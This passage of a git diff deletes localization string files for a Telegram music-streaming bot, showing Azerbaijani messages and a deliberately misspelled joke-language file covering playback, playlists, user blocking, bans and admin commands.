-tracks_2 : "**Xəta**\n\nBotun serverlərində **{0} Top 10 Pleylist** yoxdur. Lütfən, hər hansı digər pleylistə cəhd edin"
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**İstifadə:**\n\n/lyrics [ Musiqi Adı]"
-lyrics_2 : "Lirika Axtarıram"
-lyrics_3 : "❌ Mahnı sözləri əldə etmək alınmadı😭.\n\n💡**Axtarmağa cəhd edilib:** {0}"
-lyrics_4 : "Uzun spam tipli sözlər axtarışından qaçmaq üçün aşağıdakı düyməyə klikləyin və axtarılan sözləri əldə edin."
-
-#Ping
-ping_1: "Pong !!!!"
-
-
-# Song
-song_1 : "YouTube'dan Musiqi və ya Videonu yalnız şəxsi söhbətdə endirə bilərsiniz. Zəhmət olmasa, şəxsi söhbətdə mənə başlayın."
-song_2 : "**İstifadə:**\n\n/mahnı [Musiqi Adı] və ya [Youtube Linki]"
-song_3 : "Canlı Link Aşkarlandı. Mən canlı youtube videolarını endirə bilmirəm."
-song_4 : "**🔗Başlıq:**- {0}\n\nEndirmək istədiyiniz növü seçin."
-song_5 : "Etibarlı Youtube Linki deyil"
-song_6 : "Formatlar əldə edilir.. \n\nLütfən, gözləyin.."
-song_7 : "Video üçün mövcud formatları əldə etmək alınmadı. Lütfən, hər hansı digər treki sınayın."
-song_8 : "Endirmə başladı\n\nYükləmə sürəti yavaş ola bilər. Zəhmət olmasa, saxlayın.."
-song_9 : "Youtube-DL-dən mahnı yükləmək alınmadı\n\n**Səbəb:** {0}"
-song_10 : "Serverlərdən teleqrama yükləmək alınmadı."
-song_11 : "Yükləmə Başladı\n\nYükləmə sürəti yavaş ola bilər. Zəhmət olmasa, saxlayın.."
-
-# Tools - Queue
-queue_1 : "Please Wait..Fetching Queue.."
-queue_2 : "No tracks inside Queue."
-queue_3 : "**Queued Tracks:** [Checkout More Queued Tracks From Here]({0})"
-queue_4 : "⏳ Added to Queue at **#{0}\n\n💡Title:** {1}\n**⏱Duration:** {2}\n👤**Added By:** {3}"
-
-# All Streaming Lines
-stream_1 : "📡 **Yayım başladı** 💡\n\n👤**Tələb:** {0}\n🔦**Məlumat: **[Burada]({1})"
-stream_2 : "📡 **URL vasitəsilə yayıma başladı ** 💡\n\n👤**Tələb edən:** {0}"
-stream_3 : "📡 **Yayım başladı** 💡\n\n**🏷Başlıq:** {0}\n⌛️**Müddət**: {1}\n👤**Tələb:** {2} "
-stream_4 : "📡 **Yayım başladı** 💡\n\n**🏷Başlıq:** [{0}]({1})\n⌛️**Müddət**: {2}\n👤**Tələb olundu Müəllif:** {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "🗑 Bağla"
-CLOSEMENU_BUTTON : "🗑 Menyunu bağlayın"
-BACK_BUTTON : "⬅ Geri"
-UNBAN_BUTTON : "🗑 Köməkçinin qadağasını aradan qaldırın"
-
-#Lyrics
-L_B_1 : "🚀 İndi Mahnıları yoxlayın"
-
-# Start
-S_B_1 : "🗒 Əmrlər"
-S_B_2 : "🔧 Parametrlər"
-S_B_3 : "📨 Dəstək"
-S_B_4 : "📨 Kanal"
-S_B_5 : "✚ Məni öz qrupuna əlavə et"
-S_B_6 : "💡 Git Repo"
-S_B_7 : "👤 Bot Sahibi"
-S_B_8 : "🔎 Necə İstifadə Edilir? Komandalar Menyu."
-
-#Help
-H_B_1 : "Admin Əmrləri"
-H_B_2 : "Oynatma Əmrləri"
-H_B_3 : "Bot Əmrləri"
-H_B_4 : "Əlavə əmrlər"
-H_B_5 : "Menyunu bağla"
-H_B_6 : "SudoUser Əmrləri"
-
-#PlayMode
-PM_B_1: "Birbaşa Oyun"
-PM_B_2: "Daxili İşarələmə"
-PM_B_3: "Kanal Oynatma"
-
-#Play
-P_B_1 : "🎵 Audio Play"
-P_B_2 : "🎥 Videonu Oynat"
-P_B_3 : "🏮 Canlı Yayımı Başlat"
-P_B_4 : "🎵 Play Playlist"
-
-#Playlist
-PL_B_1 : "🚀 Playlist çalın"
-PL_B_2 : "✚ Pleylistlər"
-PL_B_3 : "✚ Əlavə"
-PL_B_4 : "📡 Oyun rejimi"
-PL_B_5 : "🔄 Del Bütün Pleylist"
-PL_B_6 : "↗️ Pleylist silin"
-PL_B_7 : "❗️ Bəli, əminəm. Silin"
-PL_B_8 : "🔢 Top 10-u oynayın"
-PL_B_9 : "🤖 Qlobal Ən Yaxşı 10 Mahnısını Oynayın"
-PL_B_10 : "🏘 Qrupun ən yaxşı 10 trekini çalın"
-PL_B_11 : "👤 Şəxsi Top 10 treki çalın"
-
-#Settings
-ST_B_1 : "🔊Aud Keyfiyyəti"
-ST_B_2 : "🎥 Video Keyfiyyəti"
-ST_B_3 : "🎩 Auth İstifadəçiləri"
-ST_B_4 : "📱 İdarə paneli"
-ST_B_5 : "▶️ Oyun rejimi"
-ST_B_6 : "🇦🇿 Dil"
-ST_B_7 : "🔄 Təmiz rejimi"
-ST_B_8 : "{0} Aşağı Keyfiyyətli Audio"
-ST_B_9 : "{0} Orta Keyfiyyətli Audio"
-ST_B_10 : "{0} Yüksək Keyfiyyətli Audio"
-ST_B_11 : "{0} Aşağı Keyfiyyətli Video"
-ST_B_12 : "{0} Orta Keyfiyyətli Video"
-ST_B_13 : "{0} Yüksək Keyfiyyətli Video"
-ST_B_14 : "✅ Aktivdir"
-ST_B_15 : "❌ Deaktivdir"
-ST_B_16 : "👤 Adminlər"
-ST_B_17 : "👥 Hər kəs"
-ST_B_18 : "📋 Səlahiyyətli İstifadəçi Siyahıları"
-ST_B_19 : "🔎 Axtarış rejimi"
-ST_B_20 : "✅ Birbaşa"
-ST_B_21 : "✅ Daxili"
-ST_B_22 : "👨⚖️ Admin Əmrləri"
-ST_B_23 : "🏘 Qrup"
-ST_B_24 : "🏷 Kanal"
-ST_B_25 : "🫂 Oyun Növü"
-ST_B_26 : "🗑 Təmizləmə əmri"
-
-#Song
-SG_B_1 : "↗️ Şəxsi Söhbəti Açın"
-SG_B_2 : "🔊 Audio"
-SG_B_3 : "🎥 Video"
-
-#Stats
-SA_B_1 : "📢 Top 10 Söhbət"
-SA_B_2 : "🔢 Top 10 Trek"
-SA_B_3 : "🧛 Ən Yaxşı 10 İstifadəçi"
-SA_B_4 : "🏷 Top 10 Burada"
-SA_B_5 : "💡 Ümumi Statistika"
-SA_B_6 : "👤 İstifadəçi Statistikası"
-SA_B_7 : "🔢 Qlobal Top 10 Statistika"
-SA_B_8 : "🤖 Bot Statistikası"
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} artıq sudo istifadəçisidir."
-sudo_2 : "Sudo İstifadəçilərinə **{0}** əlavə edildi."
-sudo_3 : "Bot Sudo-nun bir hissəsi deyil."
-sudo_4 : "Botun Sudo İstifadəçisindən silindi"
-sudo_5 : "⭐️ **Sahiblər:**\n"
-sudo_6 : "\n⭐️ **Sudo İstifadəçiləri:**\n"
-sudo_7 : "Sudo İstifadəçiləri Yoxdur"
-
-#Block
-block_1 : "{0} is already blocked from the bot."
-block_2 : "Added **{0}** to Block List of bot. User won't be able to use bot now under any condition.\n\nCheck blocked users: /blockedusers"
-block_3 : "User is already free and not blocked."
-block_4 : "Removed User from the block list. User will be able to use bot now."
-block_5 : "No Blocked Users Found"
-block_6 : "Getting Blocked Users List.. Please Wait"
-block_7 : "**Blocked Users:**\n\n"
-
-#Blacklist Chats
-block_1 : "{0} artıq botdan bloklanıb."
-block_2 : "Blok siyahısına **{0}** əlavə edildi. İstifadəçi heç bir şərt altında botdan istifadə edə bilməyəcək.\n\nBloklanmış istifadəçiləri yoxlayın: /blockedusers"
-block_3 : "İstifadəçi artıq azaddır və bloklanmayıb."
-block_4 : "İstifadəçi blok siyahısından silindi. İstifadəçi indi botdan istifadə edə biləcək."
-block_5 : "Heç bir Bloklanmış İstifadəçi Tapılmadı"
-block_6 : "Bloklanmış İstifadəçilər Siyahısı əldə edilir. Zəhmət olmasa gözləyin"
-block_7 : "**Bloklanmış İstifadəçilər:**\n\n"
-
-#videolimit
-vid_1 : "**İstifadə:**\n/set_video_limit [İcazə verilən söhbətlərin sayı] və ya [Deaktiv edin]"
-vid_2 : "Lütfü təyin etmək üçün rəqəmsal rəqəmlərdən istifadə edin."
-vid_3 : "Video Zənglərin Maksimum Limiti {0} Çat üçün Müəyyən edilib."
-vid_4 : "Video Zənglər Deaktivdir"
-
-#maintenance
-maint_1 : "**İstifadə:**\n/xidmət [enable|deaktiv]"
-maint_2 : "Xidmət üçün aktivdir"
-maint_3 : "Xidmət rejimi qeyri-aktivdir"
-
-#log
-log_1 : "**İstifadə:**\n/logger [enable|deaktiv]"
-log_2 : "Girişi aktivləşdirdi"
-log_3 : "Giriş Deaktivdir"
-
-#videomode
-vidmode_1 : "**İstifadə:**\n/videorejim [download |m3u8]"
-vidmode_2 : "Video Oynatma Rejimi endirici olaraq təyin edildi. Bot indi trekləri endirəcək."
-vidmode_3 : "Video Oynatma Rejimi m3u8 olaraq təyin edildi. Bot indi canlı trekləri səsləndirəcək."
-
-#broadcast
-broad_1 : "**Botdan {1} Pin ilə {0} Çatda Yayımlanan Mesaj.**"
-broad_2 : "Assistent yayıma başladı..."
-broad_3 : "**Köməkçi Yayımı:**\n\n"
-broad_4 : "Assistent {0} {1} çatda yayımlandı\n"
-broad_5 : "**İstifadə**:\n/yayım [MESSAGE] və ya [Mesajı Cavab]"
-broad_6 : "Lütfən, yayımlamaq üçün bir neçə mətn təqdim edin."
-broad_7 : "**{0} İstifadəçiyə Yayımlanan Mesaj.**"
-
-#Heroku
-heroku_1 : "Lütfən, Heroku API Açarınızın, Tətbiq adınızın herokuda düzgün konfiqurasiya edildiyinə əmin olun"
-heroku_2 : "Siz yalnız Heroku Proqramlarının qeydlərini əldə edə bilərsiniz"
-heroku_3 : "**İstifadə:**\n/get_var [Var Adı]"
-heroku_4 : "Belə bir var tapmaq mümkün deyil."
-heroku_5 : ".env faylı tapılmadı."
-heroku_6 : "**İstifadə:**\n/del_var [Var Adı]"
-heroku_7 : "{0} Silindi."
-heroku_8 : "**İstifadə:**\n/set_var [Var Adı] [Var Dəyəri]"
-heroku_9 : "{0} uğurla yeniləndi"
-heroku_10 : "{0} uğurla əlavə edildi"
-heroku_11 : "Yalnız Heroku Proqramları üçün"
-heroku_12 : "Heroku İstifadəsi Yoxlanılır. Zəhmət olmasa gözləyin"
-heroku_13 : "Mövcud yeniləmələr yoxlanılır..."
-heroku_14 : "Git Komanda xətası"
-heroku_15 : "Etibarsız Git Repsitory"
-
-#Private bot mode
-pbot_1 : "**İstifadə:**\n/icazə verin [CHAT_ID]"
-pbot_2 : "**İstifadə:**\n/icazəsiz [CHAT_ID]"
-pbot_3 : "Verilmiş söhbət səlahiyyətli siyahıya əlavə edildi"
-pbot_4 : "Verilmiş söhbət səlahiyyətli siyahıdan silindi"
-pbot_5 : "Söhbət artıq icazəli siyahıdadır"
-pbot_6 : "İcazə verilmiş siyahıda belə söhbət yoxdur"
-pbot_7 : "chat_id-i doğrulamaq alınmadı.\n\nOnun rəqəmli və düzgün formatda olduğuna əmin olun. Söhbət istifadəçi adından və ya keçidlərdən istifadə etməyin."
-pbot_8 : "Lütfən gözləyin... Səlahiyyətli söhbətlər alınır."
-pbot_9 : "**Gətirilmiş Söhbətlər:**\n\n"
-pbot_10 : "Şəxsi Söhbət"
-pbot_11 : "Heç bir icazəli söhbət tapılmadı"
-pbot_12 : "Şəxsi Bot Rejimi deaktiv edilib.\n\nBotunuzu şəxsi bot kimi istifadə etmək üçün **PRIVATE_BOT_MODE** = **True** təyin etdiyinizə əmin olun."
-pbot_13 : "\n**Gətirilməmiş Söhbətlər:**\n\n"
-
-
-#Gbanned
-gban_1 : "Sən özünü gban etmək istəyirsən? Necə də axmaq!"
-gban_2 : "Özümü bloklamalıyam? Lol"
-gban_3 : "Sudo istifadəçisini bloklamaq istəyirsiniz?"
-gban_4 : "{0} artıq botdan **gbanlanıb**."
-gban_5 : "**Qobal qadağası {0}** tarixində işə salınır.\n\nGözlənilən vaxt : {1}."
-gban_6 : "**Uğurla Qbanlandı**\n\n**{1}** çatlarından **{0}** qadağan edildi."
-gban_7 : "{0} hələ botdan **gbanlanmayıb."
-gban_8 : "**Qadağanın ləğvi {0}**\n\nGözlənilən vaxt : {1}."
-gban_9 : "**Uğurla Qadağadan Çıxarıldı**\n\n**{1}** çatlarda **{0}** qadağası ləğv edildi."
-gban_10 : "Qanlanmış İstifadəçilər tapılmadı."
-gban_11 : "Lütfən, bir az gözləyin. Qbanlanmış istifadəçilər siyahısı gətirilir"
diff --git a/strings/langs/cheems.yml b/strings/langs/cheems.yml
deleted file mode 100644
index adaf76e..0000000
--- a/strings/langs/cheems.yml
+++ /dev/null
@@ -1,320 +0,0 @@
-name : 🫰🏻Champu❤️🔥
-
-# General Strings
-general_1 : "Remply to a usemr's messamge or gimve usemrname/user_id."
-general_2 : "Erromr! Wromng Usamge of command."
-general_3 : "Some **emxception occumred** whimle promcessing youmr quemry.\n\nException typem:- {0}"
-general_4 : "Youm're an anomnymous admin in thims chamt groump!\nRevert bamck to usemr accoumnt from admin rimghts."
-general_5 : "Youm neemd to be admin wimth manamge voimce chamt rimghts to perfomrm thims actiomn."
-general_6 : "𝐁𝐨𝐭 𝐧𝐡𝐢 𝐬𝐭𝐫𝐞𝐚𝐦 𝐤𝐫 𝐩𝐚 𝐫𝐚𝐡𝐚 𝐡𝐚𝐢🤔."
-
-# Classes - Telegram.py
-tg_1 : "Bomt is **omverloaded** wimth downloamds rimght nomw.\n\n**Try aftemr:** {0} (__emxpected time__)"
-tg_2 : "Faimled to downloamd the mediam from Telemgram."
-
-# Core - Call.py
-call_1 : "Bomt requimres **Amdmin** permissiomn to invimte assimstant accoumnt to youmr chamnnel."
-call_2 : "Assimstant is bannemd in youmr groump or chamnnel, pleamse unbamn.\n\n**Assistant usemrname:** @{0}\n**Amssistant id:** {1}"
-
-call_3 : "Excemption occumred whimle invimting assimstant accoumnt to youmr chamt.\n\n**Reamson**: {0}"
-call_4 : "Bomt requimres **Imnvite Usemrs via Limnk** permissiomn to invimte assimstant accoumnt to youmr chamt groump."
-call_5 : "Assimstant accoumnt wimll be joimning in 5 semconds..Please waimt!"
-call_6 : "Assimstant accoumnt[{0}] joimned succemssfully.\n\nStarting musimc nomw"
-call_7 : "**Hamrmful admin rimght givemn **\n\nPleamse removem **bamn usemrs** rimghts from the bomt."
-call_8 : "**Hamrmful admin rimght givemn **\n\nPleamse removem **amdd new admins** rimghts from the bomt."
-call_9 : "**Faimled to swimtch stream**\nPleamse use /skimp to chamnge tramck agaimn."
-call_10 : "Domwnloading nemxt tramck from Plamylist"
-call_11 : "Pleamse add @{0} to youmr chamnnel[ ID: {1}].\n\nBomt is not ablem to get chamnnel detaimls."
-
-
-# PLUGINS - Auth.py
-auth_1 : "Youm can only hamve 20 usemrs in youmr groump's Authomrised Usemrs Limst (AUL)"
-auth_2 : "Addemd to authomrised usemrs limst of youmr groump."
-auth_3 : "Alreamdy in the authomrised usemrs limst."
-auth_4 : "Removemd from authomrised usemrs limst of thims groump."
-auth_5 : "Tamrgeted usemr is not an authomrised usemr."
-auth_6 : "Femtching authomrised usemrs... Pleamse waimt"
-auth_7 : "**Authomrised Umsers Limst[AUL]:**\n\n"
-auth_8 : "┗ Amdded By:-"
-
-# PLUGINS - Admins
-admin_1 : "𝑮𝒂𝒂𝒏𝒂 𝒑𝒆𝒉𝒍𝒆 𝒔𝒆 𝒓𝒖𝒌𝒍𝒆 𝒉𝒂𝒊 𝒑𝒂𝒈𝒂𝒍."
-admin_2 : "🤨 𝑮𝒂𝒂𝒏𝒂 𝒓𝒐𝒌𝒏𝒆 𝒘𝒂𝒍𝒆 𝒊𝒏𝒔𝒂𝒂𝒏 𝒚𝒆 𝒉𝒂𝒊 {}!"
-admin_3 : "𝑮𝒂𝒂𝒏𝒂 𝒄𝒉𝒂𝒂𝒍𝒖 𝒉𝒂𝒊 𝒑𝒂𝒈𝒂𝒍 𝒑𝒆𝒉𝒍𝒆 𝒔𝒆."
-admin_4 : "😚 𝑱𝒂𝒂𝒏 𝒕𝒖𝒎𝒏𝒆 𝒄𝒉𝒂𝒍𝒂 𝒅𝒊𝒚𝒂 𝒔𝒐𝒏𝒈 {}!"
-admin_5 : "𝑩𝒂𝒃𝒖 𝒑𝒆𝒉𝒍𝒆 𝒔𝒆 𝒎𝒖𝒕𝒆 𝒉𝒂𝒊."
-admin_6 : "😕 𝑴𝒖𝒕𝒆 𝒌𝒓𝒏𝒆 𝒘𝒂𝒍𝒂 𝒊𝒏𝒔𝒂𝒂𝒏 𝒚𝒆𝒉 𝒉𝒂𝒊 {}!"
-admin_7 : "𝑮𝒂𝒂𝒏𝒂 𝒃𝒂𝒋 𝒉𝒊 𝒓𝒉𝒂 𝒖𝒏𝒎𝒖𝒕𝒆 𝒉𝒂𝒊 𝒑𝒆𝒉𝒍𝒆 𝒔𝒆."
-admin_8 : "😍 𝑮𝒂𝒂𝒏𝒂 𝒄𝒉𝒂𝒍𝒖 𝒌𝒓 𝒅𝒊𝒚𝒂 𝒋𝒂𝒂𝒏 𝒕𝒖𝒎𝒏𝒆 {}!"
-admin_9 : "😤 𝑽𝒐𝒊𝒄𝒆𝑪𝒉𝒂𝒕 𝑬𝒏𝒅 𝒌𝒊𝒚𝒂 𝒊𝒔𝒏𝒆 {}!"
-admin_10 : "😘 𝑨𝒈𝒍𝒂 𝒈𝒂𝒂𝒏𝒂 𝒔𝒖𝒏𝒏𝒂 𝒉𝒂𝒊 𝒌𝒚𝒂 𝒋𝒂𝒂𝒏 𝒔𝒌𝒊𝒑 𝒌𝒓𝒅𝒊 {}!. 𝑱𝒂𝒂 𝒍𝒊𝒔𝒕 𝒎𝒂𝒊𝒏 𝒌𝒐𝒊 𝒈𝒂𝒂𝒏𝒂 𝒂𝒅𝒅 𝒏𝒉𝒊 𝒉𝒂𝒊 𝒄𝒉𝒍𝒐 𝒔𝒐𝒏𝒈 𝒂𝒅𝒅 𝒌𝒓𝒐 𝒋𝒂𝒍𝒅𝒊 ❤️🔥"
-admin_11 : "Erromr whimle chamnging stream to **{0}**\n\nPleamse use /skimp agaimn."
-admin_12 : "Umnable to skimp to a spemcific tramck bemcause of enambled loomp plamy. Pleamse dimsable loomp plamy via `/loomp disamble` to use thims feamture."
-admin_13 : "Pleamse use numerimc numbemrs for spemcific tramcks, limke 1, 2 or 4 etc"
-admin_14 : "Atleamst 2 tramcks neemded in queuem to skimp to a spemcific numbemr. chemck queuem by /queue"
-admin_15 : "Nomt enoumgh tramcks in queuem for the vamlue givemn by you. Pleamse choomse numbemrs betweemn 1 and {0}"
-admin_16 : "Faimled to skimp to spemcific tramck.\n\nCheck lemft queuem by /queue"
-admin_17 : "{0}.. Pleamse Waimt"
-admin_18 : "Admin limst not foumnd\n\nPlease reloamd adminlimst via /admincache or /reload"
-admin_19 : "Youm neemd to be admin wimth manamge voimce chamt rimghts to perfomrm thims.\nIf youm're alreamdy admin, reloamd admincamche via /admincache "
-admin_20 : "Amdmin camche reloamded succemssfully."
-admin_21 : "Nomthing insimde queuem to shumffle"
-admin_22 : "Faimled to shumffle.\n\nCheck queuem : /queue"
-admin_23 : "**Queuem shumffled by {0}**\n\nChemck shumffled queuem : /queue"
-admin_24 : "**Umsage:**\n/loop [enamble/disable] or [numbemr betweemn 1-10]\n\n**Emxample:** /loomp 5"
-admin_25 : "Loomp enambled by {0} for **{1}** times. Bot wimll now repeamt the curremnt plamying musimc on voimce chamt for **{1}** times"
-admin_26 : "Pleamse use numbemrs betweemn 1-10 for loomp plamy"
-admin_27 : "Loomp plamy has beemn disambled"
-
-# Bot
-
-# Start
-start_1 : "Thamnks for havimng me in {0}.\n{1} is alimve.\n\nFor any assimstance or hemlp, chemckout our suppomrt groump and chamnnel."
-start_2 : "Hemllo, my name is {0}.\n\nIm'm a telemgram streaming bot wimth some usemful feamtures. Suppomrting Plamtforms limke youmtube, spomtify, remsso, applemusimc , soumndcloud etc.\n\nFeeml freem to add me to youmr groumps."
-start_3 : "Wemlcome to {0}\n\nI domn't neemd any **amdmin permissiomn** to womrk (untiml askemd for).\n\nAmssistant usemrname:- @{1}\nAmssistant id:- {2}"
-start_4 : "{0}'s ownemr[{1}] has jumst joimned youmr chamt."
-Start_5 : "A membemr of {0}'s sumdo usemr[{1}] has jumst joimned youmr chamt."
-start_6 : "❗️ **Sumpergroup Neemded** ❗️\n\nPleamse convemrt youmr **groump** to **sumpergroup** and themn add me back.\n\n**Homw to makem supemrgroup?**\n✅ Makem youmr groump's chamt himstory **vimsible** oncem."
-start_7 : "**Blamcklisted Chamt**\n\nYou're chamt has beemn blamcklisted by the bot. Pleamse ask any sudoumser to whimtelist chamt fimrst. chemck [sumdolist from herem]({0})"
-
-# Help
-help_1 : "Climck on the buttomns belomw for morem infomrmation. If youm're facimng any promblem in command you can contamct my bot ownemr or ask in suppomrt chamt.\n\nAll commands can be usemd wimth: /"
-help_2 : "Comntact me in pm for hemlp."
-
-# Settings
-setting_1 : "⚙️ **Musimc Bot Settimngs**\n\n🖇**Group:** {0}\n🔖**Groump ID:** `{1}`\n\n💡**Choomse the functiomn buttomns from belomw whimch you wamnt to edimt or chamnge.**"
-setting_3 : "⁉️ Whamt is thims?\n\n1) Diremct: Plamys seamrch quemries diremctly. use -v to plamy videoms in diremct modem.\n\n2) Inlimne: retumrns inlimne markump buttomns for choomsing betweemn vimdeo & audiom."
-setting_4 : "⁉️ Whamt is thims?\n\n👥 Evemryone: Anyomne can use admin commands(skimp, paumse, remsume etc) premsent in thims groump.\n\n🙍 Admin only: Only admins and authomrized usemrs can use admin commands."
-setting_5 : "No authomrized usemrs foumnd\n\nYou can allomw any non-amdmin to use my admin commands by /auth and demlete by usimng /unauth"
-setting_9 : "⁉️ Whamt is thims?\n\nWhen actimvated, bot wimll demlete its messamge aftemr {0} to makem youmr chamt cleamn and cleamr."
-setting_10 : "⁉️ Whamt is thims?\n\n1) Groump: Plamys musimc in the groump whemre the command is givemn .\n\n2) Chamnnel: Plamys musimc in the chamnnel you wamnt. set chamnnel id via /channelplay"
-setting_11 : "⁉️ Whamt is thims?\n\n1) Evemryone: Anyomne premsent in thims groump can plamy musimc herem.\n\n2) Admin only: Only admins can plamy the musimc in thims groump."
-setting_12 : "❌ Youm've no chamnnel id defimned for chamnnel modem. Pleamse demfine wimth /channelplay."
-setting_13 : "Can't change play mode in active group call. Please stop the voice chat first with /stop."
-setting_14 : "⁉️ Whamt is thims?\n\nWhen actimvated, Bot wimll demlete its exemcuted commands (/plamy, /paumse, /shumffle, /stomp etc) immediamtely.\n\nBot wimll be requimring demlete messamges admin rimght for thims to womrk promperly."
-setting_15 : "Faimled to remsolve peemr, Makem sumre you hamve addemd bot in youmr chamnnel and promotemd it as admin.\n\nTry settimng /channelplay agaimn.."
-
-set_cb_1 : "Gemtting Aumdio Quamlity Panel..."
-set_cb_2 : "Gemtting Vimdeo Quamlity Panel..."
-set_cb_3 : "Gemtting Aumth Usmers Panel..."
-set_cb_4 : "Gemtting Plamy Momde Panel..."
-set_cb_5 : "Gemtting Cleamn Momde Panel..."
-set_cb_6 : "Semtting up chamnges."
-set_cb_7 : "Gemtting Aumth Users Limst.. PLEAMSE WAIT."
-set_cb_8 : "Gemtting bamck.."
-
-# Misc
-ustats_1 : "No Umser Stamts Foumnd."
-ustats_2 : "Gremttings!, You hamve plamyed **{0}** tramcks timll now wimth a whompping coumnt of **{1}** times.\n\nTomp {2} plamyed by youm:\n\n"
-
-gstats_1 : "Gemtting glombal stamts, Thims coumld tamke some time..."
-gstats_2 : "No Stamts Foumnd."
-gstats_3 : "Gemtting glombal top 10 {0} on the bot, Thims coumld tamke some time.."
-gstats_4 : "**Tomtal quemries on bomt:** {0}\n\n{1} has plamyed **{2}** tramcks timll now wimth a whompping coumnt of **{3}** times.\n\n**Tomp {4} tramcks:**\n"
-gstats_5 : "**Tomp {0} Chamts of {1}:**\n\n"
-gstats_6 : "**Tomp {0} Umsers of {1}:**\n\n"
-gstats_7 : "Thims chamt groump has plamyed **{0}** tramcks timll now wimth a whompping coumnt of **{1}** times.\n\nTomp {2} plamyed by thims chamt groump:\n\n"
-gstats_8 : "Gemtting bomt's genemral stamts and infomrmation.. Thims coumld tamke some time..."
-gstats_9 : "**GLOMBAL TOMP 10 STAMTS OF THE BOMT**\n\nSemlect the buttomns from belomw for whimch you wamnt to chemck glombal stamts from bomt's servemrs."
-gstats_10 : "**Glombal Stamts of {0}**\n\nSemlect the buttomns from belomw for whimch you wamnt to chemck glombal stamts from bomt's servemrs."
-gstats_11 : "**Gemneral Stamts of {0}**\nSemlect the buttomns from belomw for whimch you wamnt to chemck glombal stamts from bomt's semrvers.\n\nTo chemck top tramcks, chamts, usemrs and othemr stumffs, pleamse use /gstats"
-
-
-# Play
-
-#Play Callback
-playcb_1 : "Thims is not for you! Seamrch you own somng."
-playcb_2 : "Gemtting Nemxt Resumlt"
-
-# Channel Play
-cplay_1 : "Youm can plamy musimc in chamnnels from thims chamt[{0}] to any chamnnel or youmr chamt's linkemd chamnnel.\n\n**For Linkemd chamnnel:**\n`/{1} linked`\n\n**For any othemr chamnnel:**\n`/{1} [chamnnel id]`"
-cplay_2 : "Thims chamt has no linkemd chamnnel."
-cplay_3 : "Chamnnel defimned to {0}\n\nChamnnel ID: {1}"
-cplay_4 : "Faimled to get chamnnel.\n\nMake sumre you hamve addemd bot in youmr chamnnel and promotemd it as admin.\nEmdit or Chamnge chamnnel via /chamnnelplay"
-cplay_5 : "Omnly chamnnels are suppomrted."
-cplay_6 : "youm neemd to be the **omwner** of the chamnnel[{0}] to connemct it wimth thims groump.\n**Channel's Ownemr:** @{1}\n\nAmlternatively you can limnk youmr groump to thamt chamnnel and themn try connnemcting wimth `/channelplay linked`"
-
-
-#Play
-play_1 : "🥱𝑰𝒏𝒕𝒆𝒛𝒂𝒓 𝑲𝒂𝒓𝒐 𝑱𝒂𝒂𝒏 𝑩𝒂𝒋 𝑱𝒂𝒚𝒆𝒈𝒂 𝑮𝒂𝒂𝒏𝒂🥱"
-play_2 : "**🏷Chamnnel Plamy Modem**\n\n🔄 Promcessing Quemry... Pleamse Waimt!\n**Linked chamnnel:** {0}"
-play_3 : "Faimled to promcess quemry!"
-play_4 : "🖇 **Amdmins only plamy**\nOnly admins and auth usemrs can plamy musimc in thims groump.\n\nChange momde via /playmode and if youm're alreamdy admin, reloamd admincamche via /admincache"
-play_5 : "Faimled to promcess aumdio fimle.\n\nAudio fimle simze shoumld be lemss thamn 100 mb"
-play_6 : "**Dumration Limit Exceemded**\n\n**Allowed duramtion: **{0} minumte(s)\n**Received duramtion:** {1} houmr(s)"
-play_7 : "Somrry! Bot only allomws limitemd numbemr of vimdeo camlls due to cpu ovemrload issuems. Many othemr chamts are usimng vimdeo camll rimght now.Try swimtching to aumdio or try agaimn latemr"
-play_8 : "Nomt a valimd vimdeo fimle extemnsion!\n\n**Sumpported formats:** {0}"
-play_9 : "Vimdeo fimle simze shoumld be lemss thamn 1 GiB"
-play_10 : "**Youmtube Plamylist Feamture**\n\nSelect the modem in whimch you wamnt to plamy whomle youmtube plamylist"
-play_11 : "📎Timtle: **{0}\n\n⏳Dumration:** {1} mins"
-play_12 : "**Spomtify Plamy Momde**\n\nRequested by:- {0}"
-play_13 : "**Ampple Plamylists**\n\nRequested by:- {0}"
-play_14 : "**Unable to verify the URL.**\nBot wonders if this url belongs to any of the following platforms: Youtube, AppleMusic, Spotify, Resso and Soundcloud.\n\nYou can use /stream for M3u8 or Remote Links."
-play_15 : "**Limve Stream Detemcted**\n\nSystems hamve detemcted youmr tramck limnk as limve stream. wamnt to plamy limve stream ?"
-play_16 : "Faimled to femtch tramck detaimls. Try plamying any othemr."
-play_17 : "Umnable to plamy thims typem of spomtify quemry!\n\nI can only plamy spomtify tramcks, albums, artimsts and plamylists"
-play_18 : "**No Actimve Voimce chamt foumnd**\n\nTo use Fomrce Plamy, themre must be an actimve voimce chamt goimng on in youmr groump. **Fomrce plamy** stomps the plamying tramck on voimce chamt and stamrts plamying the seamrched tramck instamntly withoumt distumrbing/clearing queuem."
-
-#Playlist
-playlist_1 : "**Umsage:** /play [Musimc name or Youmtube limnk or Remply to audiom]\n\nIf you wamnt to plamy bomt's servemr plamylist! Premss the buttomn belomw."
-playlist_2 : "Gemtting youmr plamylist. Pleamse waimt"
-playlist_3 : "Youm hamve no plamylist on bomt's servemr."
-playlist_4 : "Femtched Plamylist:\n\n"
-playlist_5 : " Duramtion- {0} Mins"
-playlist_6 : "Comntact me in pm for delemtion of plamylists."
-playlist_7 : "Tramcks insimde plamylist: {0}\n\nPremss the buttomns to demlete a partimcular tramck in youmr plamylist.\n\nTo demlete whomle plamylist: Premss del whomle plamylist buttomn."
-playlist_8 : "Alreamdy eximsts\n\nThis tramck eximsts in youmr plamylist."
-playlist_9 : "Somrry! You can only hamve {0} musimc in a plamylist."
-playlist_10 : "Plamylist addimtion\n\n{0}\nAdded to youmr plamylist."
-playlist_11 : "Sumccessfully delemted youmr tramck."
-playlist_12 : "Faimled to delemte youmr tramck."
-playlist_13 : "Demleted youmr whomle plamylists from the servemr. "
-playlist_14 : "**Amre you sumre you wamnt to demlete youmr whomle plamylist?**\n\nYou'll lomst youmr plamylist and thims camn't be recomvered latemr."
-playlist_15 : "[Chemckout Whomle Plamylist]({0})"
-playlist_16 : "Queuemd Plamylist:"
-playlist_17 : "Queuemd Posimtion-"
-playlist_18 : "[Chemckout whomle queuemd plamylist]({0})\n\nLast Queuemd Posimtion : **{1}**"
-
-#Playmode
